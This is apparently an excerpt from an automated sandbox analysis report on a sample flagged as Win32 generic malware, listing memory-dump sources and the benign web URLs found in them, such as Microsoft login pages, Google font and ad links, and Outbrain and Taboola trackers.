Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v19/KFOlCnqEu92Fr1MmEU9fBBc-.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v19/KFOlCnqEu92Fr1MmSU5fBBc-.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v19/KFOmCnqEu92Fr1Mu4mxM.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAA.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345445677.0000000006059000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503119924.00000000065B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.491598442.0000000005A70000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5g.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.358164856.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503482607.0000000006630000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: d.0.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7064439419818173&output=html&h=250&twa=
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329669701.0000000005367000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283288096.00000000043D0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293002558.0000000004611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.416275468.0000000004551000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414231213.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414839653.00000000045BF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483636823.0000000005E00000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/adview?ai=C4ZZc-r8UXcilEM6E-gaA-YLQCODD_YZVtLCoh4gJ8ui0tf
Source: d.0.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/drt/s?v=r20120211
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/drt/si
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335542001.00000000052C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330096144.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335575472.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293479827.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345318581.0000000005C31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338218314.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502891434.0000000006611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495669681.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498467638.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484048915.0000000005D60000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447881224.0000000004748000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml
Source: d.0.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/html/r20190624/r20190131/zrt_lookup.html
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaize
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DnuZ
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnv6
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnwt
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DsDH
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmQ
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmV
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmZ
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FGwC
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n1yl
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n4cm
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJ7
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJa
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4nqTh
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4sQww?ver=37ff
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tD2S
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tG3O
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoW
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoY
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tKUA
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOD
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOM
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tQVa
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4u1kF
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ubMD
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4wqj5
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4zuiC
Source: d.0.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RWeTGO?ver=8c74&q=90&m=
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345250761.0000000006070000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346020812.0000000006069000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502771324.0000000006670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_
Source: d.0.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%
Source: d.0.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601453683&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294908943.0000000005118000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331793874.0000000004270000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294585730.0000000005111000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.494618814.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414899247.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&checkda=1&ct=1561640951&rver=7.0.6730.0&wp=l
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338329323.0000000005170000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300396159.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300482332.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501715599.0000000004680000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338329323.0000000005170000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300396159.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300482332.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501715599.0000000004680000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338329323.0000000005170000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300396159.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.300482332.0000000004537000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.501715599.0000000004680000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.407832897.0000000004517000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357348221.0000000004400000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329830450.0000000005308000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483833780.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530776934.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/MeControl.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.290448651.00000000044B0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532907065.00000000065A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.426485012.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.436120185.0000000004761000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://mcdp-chidc2.outbrain.com/l?token=c21d6fc334f1b2ec2cf4d2cbc4199764_4535_1561640954843
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://mcdp-chidc2.outbrain.com/l?token=cadd7d1b12e34ff71b0237f3627e8ef3_4535_1561640955067
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://mcdp-chidc2.outbrain.com/l?token=e2c41a910c7be90243b349629cd840b2_4535_1561640955327
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338074016.0000000004341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.497921300.0000000005F19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js
